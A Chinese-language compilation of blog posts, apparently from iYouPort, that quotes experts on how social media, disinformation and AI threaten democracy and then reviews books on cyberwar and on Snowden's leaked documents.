- 《如何在网上兜售谎言？—— 他们承诺可以”按照你的意愿改变任何现实”》

除非我们设计出一种新的模式，让做正确的事比作恶更有利可图，否则，好人只能一直输下去。……

我希望看到的一个假设性的变化是，出现一些社交媒体平台，这些平台对语气和情绪的控制较少，而更多的是对真实性和证据标准的遵守。如何让这种方法在经济上取得成功，是主要问题。”

Data & Society 人工智能顾问、哈佛大学伯克曼-克莱因互联网与社会研究中心研究员 *Mutale Nkonde*：

“如果没有重大的监管，我们未来的选举将被那些能够最有效地优化社交媒体推荐算法的政党所统治。在当下，那些就是像剑桥分析公司这样的黑手，他们利用人们的恐惧、种族主义和仇外心理来影响世界各地的选举。”

- 详见《心理操纵的秘密：”行为经济学”＋PR＝？》

秘鲁大学通信学副教授 *Eduardo Villanueva-Mansilla*：

“各国政府在如何处理这些问题上缺乏一致意见，这与技术创新被滥用的可能性一样，是对民主的严重威胁。在未来十年，少数跨国公司的完全控制将完全超出发展中国家政府的监管和政策范围。这将加剧不稳定，而这种不稳定已经成为这些国家治理的一个典型特征。”

欧洲自主系统伦理学专家：

“数字设备提供了越来越多的新手段，以增强当权者更深层控制人民的权力，并操纵民主的劣质替代品，使权势受益。他们对民众模拟和

广播虚假的民主味道。限制人民权利和自主自由的决定，以所谓的安全为旗号，而实际上只是为了保护那些寻求权力和影响力的人的利益。

新的数字手段（生物识别、面部识别、大数据、深度学习、人工智能）让当权者能够识别并对人进行深度描绘（职位、行为、位置、思维方式、思想、政治观点、生活水平、健康状况、出身、金钱、社会关系 ……等等）。

利益相关者可以利用这些设备对他们认为具有颠覆性的任何人实现压制，并且在必要时镇压。机器人和自主的人工智能系统将成为非常有效的工具，帮助教育那些不符合统治阶级强加的要求和规则的人。

这种模式将在世界上越来越多的国家发展，并将逐步缩小自由度，降低属于中低社会阶层的普通人的生活质量。

同时，可用的工作领域将越来越窄，因为人工智能和机器人将在大多数领域取代人类，并导致大多数人无法找到养活和满足自己的工作。”

互联网先驱 *Larry Masinter*：

“传统的民主和民主机构依赖于地理上界定的选区边界。技术将加速跨辖区渎职行为的蔓延，不管你叫它勾结还是其他什么。”

一位匿名人士警告说：

“专制主义者将削弱制衡，把法院变成当权者的延伸，从而破坏代议制民主 —— 通过操纵数字媒体来煽动恐惧，掩盖真相 …… 极端的党派主义正在将我们所有的民主体制置于危险之中，以至于共享权力和有序过渡可能在10年内不复存在。内乱似乎不可避免”。

一位负责科学与工程的研究副院长：

“未来10年，我们将看到目前利用技术进一步设计选举(包括选区划分)、并针对那些最容易被操纵的人(在所有政治方面)的趋势增加。其结果是，在民选政府中，利己的少数派观点（在许多方面都是极端的）所占比例过高，将政党赶下台的难度更大（特别是在美国这样的两党制中），而且，至少在一段时间内，政治语话权将继续分裂。”

一位为美国政府机构工作的顾问：

“人们对技术的最大恐惧将是人工智能的使用。虽然目前我们可以控制人工智能，但是，随着时间的推移，我们将失去这种控制权。

这将发生在所有的技术领域，包括政府的技术领域。在某些时候，它将超越自己的程序设计，做它所认为的最符合我们利益的事。”

造成混乱：技术传播的现实扭曲正在粉碎已经摇摇欲坠的对民主制度的公众信任

「图」

世界五大技术组织之一的技术创新小组的领导人：

“技术已经并将继续对民主造成巨大压力。首先，数字技术使少数有影响力的行为者能够非常容易地对公共舆论进行极大的控制。我们已经看到，他们对提供给公民的信息和呈现给公民的信息进行严格控制。第二，数字技术使行为者非常容易隐藏或掩盖他们的参与和意图。第三，数字技术使得通过捏造或放大虚假变得极为容易”。

*C-PET*名誉主席 *Nigel Cameron*：

“我担心政府（本国和外国）、科技公司、和其他行为者利用数字媒体加深对公众认知的扭曲 —— 因为假视频等新技术使其更容易塑造舆论。在我们有意愿和技术来控制这些滥用行为之前，还需要很长一段时间。就目前的情况来看，政客的党派主义和马克·扎克伯格及其他科技公司的做法，预示着问题会越来越深。”

马里兰大学巴尔的摩网络安全中心助理主任 *Richard Forno*：

“[技术]将削弱民主；它将继续加强回声室，不允许承认更不用说容忍其他不同观点、新发现、事实甚至现实。这将进一步助长公民之间的部落主义，并反映在当选官员的观点/行动中”。

墨西哥国立自治大学*UNAM*教授、互联网治理活动家 *Alejandro Pisanty*：

“仇恨、两极分化、过度简单化和缺乏深思熟虑的现象现在和将来都在增加。它们比反击它们的方法更容易构建和传播。只要有想要操纵的人和容易被操纵的人存在，对选举和其他进程的操纵就会只会继续泛滥。

其中受打击最大的将是美国，因为美国的民众很容易受骗，人们看不到自己正在遭受的最深层攻击。社会中一个更小、更聪明、更民主的部门与天真无知的人们的尖锐反应作斗争，是有希望改善的。更好的信息、具有复原力的系统（通过设计）和从本地到全球的各个级别的嵌套，多方利益相关者的讨论和决策的体系结构、以及很多的运气，可能会带来改进。否则，分裂和其他形式的黑暗日子就快速逼近”。

新加坡南洋理工大学教授 *Rich Ling*：

“想要混淆/削弱合法信息的势力正在学习如何最好地利用这些系统。他们也在学习如何校准他们发送的信息，以便增强社会的分裂性。这种分裂利用了人的确认偏误，反过来又破坏了有效治理和民主所需的共同点”。

InterWorking Labs 首席技术官 *Karl Auerbach* ：

“民主正在死于一个叫做 ‘利益相关者’ 的概念。这与技术没有什么关系，只是人们被引导着相信，他们没有足够的技术或足够的智慧来为自己做决定，技术专家应该代表他们做决定。我们正在走向的不是改良的民主（不论是直接还是间接），而是，更接近于 ‘利益相关者’ 的寡头政治。”

Glyn Moody 是一位多产的技术记者、博客作者和驻欧洲的演讲者，他说：

“谎言比真相更容易传播。事实证明，利用最新技术破坏我们认为安全稳定的东西要容易得多。事实证明，打击这种滥用技术的行为非常困难”。

一位来自美国顶尖科技大学的计算机科学荣誉教授写道：

“随着人工智能技术被用来制作越来越逼真的虚假视频，随着软件人工智能宣传机器人的倍增可以被个人或小团体轻易复制和传播，越来越多的人将被虚假叙事所愚弄，从而削弱我们的民主。”

加利福尼亚州一所主要大学的社会学教授：

“强大的政府及其盟友正在利用技术摧毁单一的、公认的真相的概念。虽然不一定能成功地将特定的信念植入公民的脑海中，但是，对真相的不断攻击会导致疲劳和认命，认为实际的真相无法得知，或者认为所有的政治行为者都同样糟糕。

- 《合谋的欺骗：虚假的五角大楼官员是如何被发明出来的？（第二部分）》

这种走向冷漠让当权者的行为变得恶劣，更加集中了他们的权力。新技术是否能检测到机器人和假视频/音频，以及主流媒体和社交媒体公司是否负责任地行事，决定论公认的真相能否重见天日。”

PROSOCIAL 的项目主管 *Alan Honick*：

“我的工作重点是需要使互联网和相关的信息技术值得信赖和可靠。……对于目前的问题来说，最重要的变量是信息技术能否朝着成为值得信赖和可靠的信息来源的方向发展，目前的趋势所表明的是不能。”

专门研究新技术对现有法律框架的影响的法学教授 *Annemarie Bridy*：

“在未来几年，当涉及到有效处理虚假信息和旨在操纵选民和选举结果的协调性操纵行为时，社交媒体平台有一个陡峭的山丘要爬。网上病毒性传播的虚假信息将继续对民主机构和选举的完整性构成严重威胁。”

- 《新报告：为什么虚假总是能‘击败’真相？机器人水军并不是主要原因》

Futureproof Strategies 合伙人 *Stephanie Fierman*：

“许多党派都有动机发布虚假的、具有破坏性的声明和内容，让人们相信。在我们回到一个事实就是事实的世界之前，我们将看到真相和制衡的存在持续退化，而众所周知，这两者对于民主的存在是如此重要。”

- 《为什么虚假信息令独裁政权变得更强大，令民主国家变得更脆弱？》

国际自由开源软件中心创始主任 *Satish Babu*：

“如果世界不认识到这些陷阱并采取纠正行动，技术很可能会对民主的质量和实践产生不利影响。尤其是，民主的实用主义将恶化为无所不用其极的斗争，人工智能将被用来从历史记录中挖掘或放大甚至创造候选人的前科，而社交媒体将被用来向每个公民推送这样的所谓‘事实’。”

上图中这本书在这里下载：

印第安纳大学信息学和计算机科学教授 *Filippo Menczer*：

“技术 …… 是我们获取信息和意见的中介。这将在一定程度上加强民主，例如使其更容易检查事实。但它也会削弱民主，因为认知、社会和算法偏见的相互作用所导致的弱点不断被利用，并诞生新的弱点。总的来说，我的预测是，事情在变好之前会变得更糟。我们才刚刚开始讨论反制措施的法律意义，例如与社交机器人、虚假信息运动、压制言论和其他触犯美国第一修正案相关的问题。”

- 《世界末日的聊天机器人》

德克萨斯大学奥斯汀分校信息学院副教授 *Kenneth R. Fleischmann*：

“技术将对社会产生复杂的影响，这将难以预测，这取决于技术公司、政府、媒体和公民的决定。 ……信任将是关键，绝不是是盲目的信任，而是基于透明信息来源的信任，可以帮助用户行使自主权和代理权。”

弱化新闻业：似乎没有解决方案，这些问题是由社交媒体支持的部落主义的兴起和可信赖的独立新闻业的衰落引起的

「图」

*ICANN*副总裁 *Christopher Mondini* ：

“由于对互联网的简单依赖，导致独立新闻和批判性思维和研究技能的下降，使公民更容易受到操纵和煽动。

越来越多的政治活跃的公民是数字原住民，对社交媒体成为辩论和影响的主要媒介之前的生活没有印象。

追求点击量、转发量和页面浏览量鼓励了极端主义或挑衅性的言论。病毒式传播的meme和言论提示分散了对深思熟虑的分析、审议和辩论的注意力。

当然，绝大多数公民在政治上并不活跃，但他们越来越多地消费新闻，并被动接受网络社区所塑造的世界观。对政治进程的参与可能会因为网络语话带来的短时间内被煽动的激情而上升，但它们可能会排

挤掉更有分寸的声音。”

总部位于以色列的*RAD*数据通信公司首席技术官 *Yaakov J. Stein*：

“目前的社交媒体具有破坏民主稳定的两极化效应。原因是宣传（和虚假信息）是根据人们已有的观点（根据他们在社交媒体上的行为）预测出、有针对性地量身定做的。

这就强化了那些已有的观点，强化了对任何反对意见者的贬低，削弱了接触反对意见的可能性。

其结果就是，新闻自由不再通过让人们从思想市场中进行选择来鼓励民主。相反，所谓的新闻自由权被用来保护虚假信息的传播，并被操纵以确保人们无法接触到所有的观点。

也许更深层的结果是，试图保持开放心态的人们无法再相信网上提供的信息，但网上的免费信息已经导致必需花费更多资源进行事实核查的传统新闻机构破产。”

塔夫茨大学*CIRCLE*研究主任 *Rey Junco*：

“我们可以预期，影响公众对候选人和选举看法的尝试不仅在进行，而且会继续取得成功。公民社会和政府对技术的使用首先会削弱民主和民主代表的核心方面，然后才会有技术系统和程序的重组，然后才会有助于加强民主的核心方面。

这里面有两个问题。1）网络空间中的意识形态自我筛选，由算法极化支撑；2）技术公司相对不愿意解决其平台上的错误信息问题。

通过网络获取新闻的个体（较大比例是年轻人—根据皮尤研究）会选择意识形态相似的媒体，很少阅读来自对立面的新闻。

事实上，这些人很少接触到温和的观点（Flaxman，Goel，& Rao，2018）。反过来，社交媒体不仅可以像网络新闻一样进行信息的自我筛选，而且这种自我筛选还可以通过算法策划的feeds来促进意识形态的分离。……

虽然各大科技公司都知道在2016年大选期间，错误信息是如何通过他们的网络进行推广和传播的，以及由此产生的国会听证会，但是几乎没有采取什么措施来减轻这种蓄意传播错误信息的影响。

情报界的分析显示，国家行为者继续试图在社交空间中操纵公众情

绪，而传统渠道的两极分化加剧，使这些报告的影响降到最低。美国没有通过技术变革或公共教育来解决错误信息的传播问题，这使国家行为者更加胆大妄为”。

一位曾在微软工作过的计算机科学副教授：

“我担心三个相关趋势。1）新闻生成的日益分散化；2）缺乏易于使用、面向公民的机制来判断视频等数字媒体对象的有效性；3）个性化生态系统增加了确认偏误和知识面狭窄的倾向。

这三种趋势都会减少知情选民的数量，增加社会分化。政府最终会减少对新闻生成和新闻传播平台的监管，但政府面临的一个关键挑战是如何吸引顶尖的技术人才；目前，这些人才大多被吸引到工业界，原因是更高的薪水和认为工作更有趣。

增加政府中技术专家的数量（包括作为公务员和政治家），对于使政府能够积极应对技术带来的负面社会影响至关重要。”

亨特学院政治学名誉教授 *Kenneth Sherrill*：

“当我悲观时，我相信信息来源的碎片化将与选择性关注相互作用——只关注那些人们期望认同的新闻来源的倾向。

这将产生更大的两极分化，而没有任何真正参与带来的调节作用和对民主进程的尊重。这可能导致民主进程的崩溃。

现在我很悲观。2020年的选举可能就是考验。”

一位总部位于欧洲的互联网治理倡导者和活动家说：

“如果目前的趋势继续下去，到**2030**年，大多数国家都不会有真正的民主。互联网基于定向广告的筹资模式正在摧毁调查性新闻和严肃的报道。越来越多的出版内容是虚假的和片面的。在缺乏可靠信息的情况下，公民无法做出明智的决定”。

- 详细解释见《异议的消亡：为什么网络变得同质化》

保加利亚一项公益计划的协调员：

“到2030年，我们仍将看到小团体与社区之间的战斗导致极端化。这将使政府有更大的权威性，并通过互联网建立更强大的控制权。”

互联网先驱、技术开发人员和管理员：

“民主的基础是知情的公众。通过破坏新闻业的经济基础并大规模传播虚假信息，社交媒体对民主的基础发动了前所未有的攻击。报纸的下降，只是强调了一个不利因素，对政府的监督和投资者的信任产生了可量化的影响（以债券价格衡量）。”

- 推荐《“21世纪的资本”：一部讲述我们如何陷入困境的纪录片》

独立开发者 *Mike Douglass* ：

“Facebook 向人们兜售了这样一种想法：竞相积累所谓的 ‘朋友’ 是一件好事 —— 然后人们就会关注这些‘ 朋友’ 说的话。

我们现在知道了，这些所谓的‘朋友’中很多都是机器人或恶意行为者。如果以这种方式继续下去，那么事情只会变得更糟。我们需要重新建立现实生活中获得朋友和熟人的方法。为什么要关注您不认识的人呢？不幸的是，技术让错误/虚假信息以惊人的速度传播。”

- 《如何识别 Facebook 上的假朋友请求》

圣克拉拉大学法学院高科技法律研究所教授兼主任 *Eric Goldman*：

“政客们已经接受了互联网通信，将其作为一个直接的渠道，向选民撒谎，而不需要传统媒体把关人的事实核查。只要技术帮助政客撒谎而不负责任，我们就没有什么善治的希望。”

Vision2Lead 的顾问 *Janet Salmons* 说：

“互联网的权力不受管制地掌握在几乎没有社会责任感的商业实体手中，将继续瓦解民主和公民机构。

通过销售个人数据或在风险行为上获利的公司，对促进人们辨别事实与虚构所需的数字能力和高级素养方面并没有什么欲望。在美国，有可能阐明这种区别的自由新闻和教育系统正受到围攻。因此，即使有机会投票或以其他方式对决策提出意见，人们也是从完全信息不对称的状况下出发的。只有大数据认为的整体观点才能最终获胜。”

一位数字素养与技术的研究者和教师：

“在早期的互联网时代，有人说它会带来权力的民主化。而我们现在

看到的是强者拥有更大的、更压倒性的声音，占据了更多的空间，而不是更少。这导致了严重的两极分化，而不是思想的自由交流。任何落在热点问题中间的观点都会被该问题的两个极端宣布为叛徒，并被羞辱、被推到一边。”

【注：上述问题在中文舆论场中也非常明显。在强制你表明立场的语话环境下，理性分析将是最终的失败者】

匿名人士：“参与度的提高在很大程度上是媒体环境的产物，在新闻界缺失、限制或公然政治化的地方，这种参与将带有扭曲的信息环境的痕迹。”

响应速度太慢：随着变化的步伐加快，操纵技术的速度、范围和影响可能愈发难以克服

「图」

卡内基-梅隆大学人机交互研究所教授 *Jason Hong*：

“基本上，1）小团体更容易造成大量的破坏（如造谣、深度造假）；2）已经掌权的人比需要组织的人更容易使用这些技术。

在互联网的早期，新技术似乎在为新的声音赋权，这导致了很多乌托邦式的观点。然而，近年来我们看到，这些技术正在被用来巩固那些已经掌权的人的权力。

我们看到的形式是定向广告（被用于高度定位心理操纵的政治活动）、分析（被用于选区划分）、虚假信息和假新闻（被国内和外国势力有意无意地使用）以及过滤气泡，人们可以在其中寻找他们想听的信息。

我们还没有看到深度造假的政治影响，只是才刚刚开始看到警察部队广泛监控的影响。”

- 《警察用哪些监视方式瞄准抗议者？》

俄克拉荷马大学国际安全助理教授 *Mark Raymond*：

“未来30年，民主至少面临三种基于技术的风险。

首先，国家行为者对投票数据和系统的实际或明显的操纵，将破坏公

民对民主进程的信任。

第二，社交媒体操纵（国家、政治运动和其他非国家行为者）将加剧回声室效应，并加剧社会两极分化。信任的降低将加剧社会冲突，包括但不限于选举冲突。

第三，“深度造假” 将破坏对视频媒体报道的信任。

综上所述，这些趋势有可能使选民更愿意接受其政治中根本性的独裁转变。就算没有这种情况，两极分化的加剧仍非常有可能使民主制度的运作变得无比困难。”

尼日利亚国家信息技术发展局法律顾问 *Emmanuel Edet*：

“民主、代表、选举和政府任期等核心概念将受到人工智能的极大破坏。社交媒体的使用加上看不见的人工智能驱动的认知塑造，正在操纵大众的意见，这剥夺了人们表达自己选择的权利，因为害怕与众人不一致而被排挤。”

澳大利亚悉尼 *Disruptor's Handbook* 的创新经理 *Matt Moore*：

“问题不在于基本的民主制度会改变，而是它们的改变远远不够。选举、投票、代表、政党 —— 这些东西都不会消失。但是它们的意义可能比过去更少了。随着弱小或不稳定的国家陷入专制民粹主义，世界上民主国家的数量会明显减少。

西方民主国家将继续老化，经济上更加不平等。像中国这样的国家将继续增长权力 —— 这类国家很擅长使用新技术来控制其人口。

每个人都在谈论区块链对民主的潜力，但大多是无稽之谈。问题不在于人们没有足够的投票机会，而是，没有人真正知道这一票意味着什么。许多投票的人 —— 或者说，没有投票的人 —— 对自己的投票意味着什么没有感觉。

这就是为什么他们依赖民调。协商性民主提供了一种潜在的政治参与和决策的新形式 —— 如果 (这是一个很大的 ‘如果’) 能够使它超越孤立的实验而发挥作用的话。”

一家美国主要新闻机构的资深技术记者：

“我们的法律和宪法在很大程度上是为工业时代之前存在的世界而设计的，更不用说信息时代了。这些数字技术已经使民族国家过时了，

而我们还没有掌握它们促进反民主力量的方式。”

驻欧洲的ICT专业人士和信息安全专家 Ian Fish：“我预计全球大公司和民主国家政府之间的权力不平衡将加剧，非常不利于民主。并且预计，非民主国家政府对民主规范的破坏会比民主国家的反应速度更快。”

驻巴基斯坦的未来学家 *Puruesh Chaudhary*：

“民主需要发展为普通公民的利益进行谈判的能力，普通公民可能无法直接影响地缘政治中的关键决策如何进行，但是其自身总是会受到决策的影响。民主机构必须拥有能跟得上技术进步的速度运作的系统。”

当人们对技术的痴迷令其在现实中与他人拉开距离时，信任就会受到损害

「图」

多位受访者认为，在某些情况下，人类的 “慢” 是一种优势，但技术的过快速度正在阻碍生活中这方面的优势。他们认为，失去信任的主要原因是，许多人在经常充满污染的社交媒体环境中所花费的时间远高于面对面的时间，而只有面对面的现实交流才能产生同理心。

法国巴黎 *Missions Publiques* 的联合主任 *Yves Mathieu*：

“技术创造了新的通信和信息形式，可能非常粗暴和分裂。一些粗鲁、暴力、表达非常糟糕的评论，侮辱或威胁公民。迫切需要面对面的交流形式，因为这些技术是专有的不允许进行审议。

需要与选民定期举行会议，在会议上，人们将有时间和机会彼此交换意见，并增加对彼此立场的理解。由于与媒体联系在一起，这将减少我们今天所知道的分歧，增加相互理解”。

旧金山州立大学传播学名誉教授 *Arthur Asa Berger*：

“使用 Facebook 的人受到’净效应’的消极影响，他们表现出冲动、浮夸等，这在我的《媒体与传播研究方法》一书中有所解释。有的年轻人一天发100条短信，却从不与他人通电话，导致与他人和自己的彻底疏远。仇恨团体、新法西斯主义者、右翼思想家、恐怖组织等都在使用互联网。”

系统工程师 *Japheth Cleaver* ：

“目前，主要的社交媒体网络的功能并不是中立的、并没有冷静地连接不同的传播者（就像电话系统那样），而是为了强化参与度，以尽可能多地销售目标广告。

这种强化会在整个社会文化中产生效应，人与人之间的情境互动也随之消失，转而享受电子通讯所带来的高效率 …… 互联网作为沟通的叠加是可以的。互联网作为公共空间的替代，就是有害的。”

纽约门罗学院政治学教授 *Melissa Michelson* ：

“未来将包括一个复杂的相互作用，即在线活动增加，但同时也会增加对这些虚拟互动的怀疑，并加强对线下信息和对话的欣赏。随着越来越多的成年人成为数字原住民，技术在社会中的作用不断扩大，并变得更加相互关联，民主和政治参与的更多方面将在网上进行。同时，包括假视频在内的深层造假日益复杂，将提升面对面互动作为未经过滤的和值得信赖的信息来源的价值。”

匿名回复：

- “除非有透明度，否则技术将是新的数字原子弹。它的发展速度超过了个人或法律对其意外后果和邪恶使用的理解。”
- “以目前那些拥有和经营大型科技公司的人无视和缺乏责任感的速度，我们正在走向对什么是事实什么是非事实信息的完全缺乏信任。”
- “我们正在失去的是个人和社会的规范，而不是技术本身，这是许多问题的核心。与几十年前相比，现在人们面对面的礼仪大大减少了。”
- “更快地访问数据和记录可以帮助公民了解情况并参与其中，但是更多的信息会淹没信息市场，人们消化信息的能力/时间/精力都很有限。”

最后

「图」

这篇文章所摘取的部分基本表明了目前存在的问题（略去了一些重复的观点）。关于对可能的解决方案的想法，您可以参见这里；但是在我们看来，这些方案依然相对保守，当然这是完全可以并且值得商讨的。

IYP并不排斥技术，我们希望的是技术的民主化，构建一个新的、能令从善获得收益的系统，取代现有的这个让作恶大发横财的系统，让监视资本主义被自动淘汰。我们认为除此外没有更好的根本性的解决方案。〇

Concerns about democracy in the digital age

原文

数字连接已将"社会工厂"变成了全球战场 - iYouPort

地缘政治社会反抗和思考

网络战争采取了精准针对性的心理战形式，造成了越来越偏执的圈地运动 ……

「图」

「图」

这个世界日益紧密的联系正在被武器化。

从互联网到 GPS，如今许多人们已经习以为常的民用数字基础设施其最初都是为了打仗和打赢战争而开发的。这就是为什么数字技术的历史与武器装备的发展密不可分。

现在，人们已经看到了这一发展的新阶段 —— 通信技术的军事化和武器化在短时间内比 *表面上* 已经变成了普通民用设施。最初，诸如社交媒体之类的在线现象似乎足够无害，但是，作为日益增长的 “网络战” 的一部分，它们如今已被重新整合到全球战场中。

也许像所有 “cyber-” 一样，“*cyberwar*” 一词可能已经过时了，或者换句话说，这个词无法表达出陷在危急中的复杂的地缘政治。

例如，在 *Cyberwar Will Not Take Place* 中政治学家 Thomas Rid 认为，“网络战” 不是一个有用的概念：“新战争” 一词最好理解为旧式军事干预的延续，例如 信息战、宣传战和破坏活动 —— 准确说是作为一种政治手段的延伸。

但是，正如现在听起来已经有些过时的那些术语一样，重要的是要有某种方法来描述数字通信系统上以及通过数字通信系统进行的互连式和针对性攻击的新颖性。

此外军队也正在使用此术语，并直接投资于其代表的攻击类型的技术

能力。正如 Stratfor 这篇文章所解释的那样，美国正在迅速从防御性转变为对进攻性“网络”能力的投资，收集未知漏洞（通常称为零日漏洞）并利用它们进行攻击。

2016年之前，围绕“网络战”的讨论主要集中在数字攻击如何对基础设施造成物理损害方面：例如，它们可能破坏电网和航空，或者干扰军事指挥与控制。

当攻击者针对文化和信息系统时，通常会假定他们专注于DDOS攻击，而不是直接将其系统本身变成武器。

Stuxnet 这种由美国和以色列制造的病毒就是这类攻击的典型代表：这种病毒通过闪存驱动器传播，感染了伊朗铀浓缩工业控制系统。 该病毒使离心机失控—武器化它，并造成永久性损坏。

- 不要错过《核武器和网络攻击究竟哪个更可怕？》

随着2016年美国大选，这种网络战的观点发生了变化。显然，俄罗斯先前已经在爱沙尼亚、格鲁吉亚、和乌克兰开展了影响力运动，以煽动社会分裂并推进其政治目标。

这提出了一种不同的网络战概念，即：使用信息和通信系统，并不是攻击物理系统，而是攻击其他信息系统（例如选举系统和媒体）。

但是，网络战不能被理解为纯粹的技术甚至军事问题。各种各样的参与者也可以更轻松地将数字攻击本身作为目标并进行传播（比如故意使用安全性差的防御设施以吸引攻击，从而掌握反击的主动权），随着数字攻击的日益广泛使用，造成了更多的不稳定性。

根据最近出版的《 Cyberwar and Revolution: Digital Subterfuge in Global Capitalism》一书的作者 Nick Dyer-Witheford 和 Svitlana Matviyenko 的说法，网络战是世界市场不断追求价值时所采取的常规手段的延伸 —— 抓住个人并以越来越混乱的方式瞄准他们。

互联网没有像那些评论员有时所声称的那般破裂。而是，“互联网终于正是它原本应该成为的样子。也许这是完美的，但并非对我们这些互联网用户而言。而是，对网络战而言”。

- 不要错过《互联网究竟是什么？》

它可以在理论上说明网络战。对网络战的大多数分析都是从常规角度（国际关系、政治学或军事理论）入手研究的。但是，随着网络战已

经滑向公开的战争范畴之外，理论方法已经远远超出了政治和战争领域。

「图」

「图」

Cyberwar and Revolution 这本书跨越许多领域和冲突，阐明了战争、技术、政治、甚至学术之间的相互牵连。作者的中心论点是，网络战是全球范围内 “资本主义无意识” 和 “私有化与日益机械化竞争所依据的秩序固有的深刻侵略性和破坏性” 的症状。

它认为必须在更大范围内的各国资本主义阶级之间的冲突中解释网络战，并最终以阶级战争的形式来理解它，对劳工阶层的压制手段。资本主义社会中的工人保留了重塑社会的能力，而资本却在更加努力地限制这种能力。

没有资本劳工阶层也可以生存，但是如果没有劳工，资本就不能生存。因此，劳工是相对于资本的“自治”，理论上可以超越其结构。

竞争的“法则”和在资本主义下产生价值的手段迫使资本家追求预定的目标，而工人则可以抵制这些法则并产生新的集体形式。

这重塑了资本主义革新的本质，它不是对人类需求的回应，而是对工人抵抗的回应，将其追求融入到日常生活的每一个缝隙中。

随着资本主义关系的扩大以占领越来越多的社会，它们产生了 自治主义者所谓的 “社会工厂”，它不仅利用无薪劳动来重现资本主义社会，而且，允许出现新的阶级意识形式。

注重劳工自治会带来新的策略和方法：突出蓝领白领工人以及有薪和无薪劳动者，包括学生和家政工人之间团结的行动；在地方一级的民主组织中，而不是将权力集中在政治先锋党派中；直接行动，包括罢工、占领和暴动。

互联网以其新的劳工提取形式（即 内容生产的 “自由劳动”）和集体性，可以很容易地与社会工厂的思想相提并论。相对于资本的劳工自治的思想同样适用于数字资本，提供一种理论上可能抵制数字资本主义力量的手段。

如果数字技术被用来使更多的生活服从于资本，从而增加了资本主义剥削的广度、深度和多样性，那么它也创造了新的空间、武器和团结

抵抗。

例如，Dyer-Witheford 指出，对资本主义的抵抗在时间上（例如，随着技术的变化）和在空间上都是可变的（在硅谷 Facebook 办公室的抵抗可能性看起来与在富士康中国工厂的抵抗截然不同）并坚持将这些斗争联系在一起的必要性。

这本书则扩大了这一立场，认为当以技术为媒介的战争针对个人时，它既可以看起来像是社会斗争也可以让社会直接参与进来。

“网络战” 不仅可以描述资本家之间技术竞争所造成的持续破坏，同时还可以描述工人的抵抗策略和资本的反制战略，包括它们如何彼此交叉。

他们追踪了资本主义剥削劳动力的驱动方式如何推动了我们今天使用的许多技术的大规模采用；这些技术的使用如何推动群众运动；以及引用 Zeynep Tufekci 的 //Twitter and Tear Gas//, 关于威权政府如何重新使用这些网络技术。

在第二章中，作者阐明了网络战的新 “主体”，即个人用户。这种从黑客入侵程序到针对个人内部心理过程的攻击表明，网络战越来越多地采取精确针对性的心理战形式。

目的不仅是传递特定的信息来操纵特定的人，而且,还创建一个越来越偏执的围墙，其中没人知道周围发生了什么。

Dyer-Witheford 和 Matviyenko 称其为数字战争的 “造雾机”。由于资本将数字网络编织到日常生活中的方式，这种迷雾可以吞噬社会或经济的任何方面，并将其转变为战场。

这些攻击的性质要求对主体如何能够做出反应进行彻底的考虑。作者认为出错的原因恰恰是因为人们对特定主题的了解足够多。一些人相信理解代码就可以保护自己免于成为网络战的受害者。然而通常，正是那些最能干且联系紧密的人成为了网络钓鱼攻击、黑客和勒索威胁的最主要目标。

另一个例子是那些试图纠正媒体记录中的错误信息的人：这通常会无意中扩大攻击范围 —— 扩大错误信息的影响范围。

- 更多见 《发现你生活中的操纵者：在叙事矩阵的边缘（1）》

如此，每个人在这场战争中既是无意识的作战者，也是无辜的平民。

网络战不能看作仅仅是别人的问题，也不能仅仅在技术甚至军事层面上解决。这意味着，面对网络战需要超越技术或军事考虑的话题，而是要瞄准使其发生的更大的社会、文化和政治环境。

例如，正如作者所指出的那样，将trolls作为一种影响力运作的手段，通常可以用来放大性别歧视、同性恋恐惧症、和种族主义言论，为已经存在于特定社会中的断层线提供武器装备，并使其更加恶化。

被利用的漏洞不仅是糟糕的代码，还包括定义资本主义、种族和性别暴力的联锁力量。

这本书认为在2008年金融危机之后网络战的兴起并非偶然。网络战是资本主义矛盾直接造成的，它不断地朝着生产过剩和劳动剥削的方向发展。

我们陷入了这种网络化的资本主义冲突体系，正如作者所说，左派必须放弃这样的观念，即 阶级斗争的状态可以直接、简单地揭示出来，或者特定的组织形式在所有情况下都是有效的 —— 就如简单地说社交媒体是好还是坏。就会错过这其中的复杂性，并忽略了网络战迷雾的不透明性。

它指出的教训是，从总体上讲，全球资本主义体系的主体以及网络战的目标和战斗人员已经超出了安全领域，不能简单地要求安全。尽管在某些情况下国家、公司、网络犯罪分子和非国家行为者对安全的要求可以具有政治效力，但是，不能将其视为自身的目的，尤其是如果这些要求没有触及新自由主义、资本主义、帝国主义、种族主义等等的结构时。

当我们在这些冲突中成为目标和战斗人员时，我们的社会分裂和社会态度本身就变成了安全漏洞；不应该减少到国家层面，而是应该更广泛地理解为具体的责任，它以不同方式威胁着每个人。

因此，如果我们要抵抗网络战的危险以及它所带来的社会动荡，不仅可以在技术、军事甚至政治思想层面上思考，而且，必须在整个社会和经济学层面上思考。

在这场战争的迷雾中，我们不能假设自己看得清楚，也不能假设在不同方面的行动始终可以转化为完全相同的结果。尤其需注意的是，政治和日常行动所经由的不断变化的联盟和网络。〇

原文

斯诺登的盒子：在监视时代的信任 - iyouport

免费书和纪录片社会反抗和思考

【2021年5月14日存档】我们认为这本书的议题非常重要，它关系到如今每个人的切身利益和人身安全。于是我们将它作为单独文章呈现，而不是塞入书籍汇总。希望它能引起更多人的思考，希望它不要被淹没

这本书在这里下载：https://www.patreon.com/posts/ji-zhu-shi-yu-de-47445786

2013年春天的某一天，一个普普通通的盒子出现在纽约布鲁克林四楼一间公寓的门外。收件人不认识发件人，只知道她应该把这个盒子带给一个朋友，而那个朋友会把盒子再带给另一个朋友。

这就是爱德华·斯诺登的盒子 —— 证明美国政府建立了一个庞大的高科技监控技术网络，并利用它来监视自己的人民和全世界的所有证据，而这个链条末端的那位朋友就是纪录片《第四公民》制片人劳拉·波特拉斯。

- 斯诺登文件已公开部分中文版完整汇总《互联网霸主的时间线 —— 他们将互联网视为间谍、破坏和战争的主场》

于是，数字时代最大的国家安全泄密事件就通过一个非常普通的网络 —— 美国邮政服务 —— 发起了。

这只是故事中出现的一个奇怪的、具有讽刺意味的细节，杰西卡·布劳德（Jessica Bruder）和戴尔·马哈里奇（Dale Maharidge），这两位经验丰富的记者，但却是安全方面的新手（他们是接收和运送那个盒子的人）如何作为幕后人被卷入了斯诺登的故事。

这本书是一个关于监控时代的透明度、隐私和信任状况的引人入胜的故事。

📌 其中附录了很多建议，关于公民和活动家可以做些什么来保护自

己和捍卫民主。

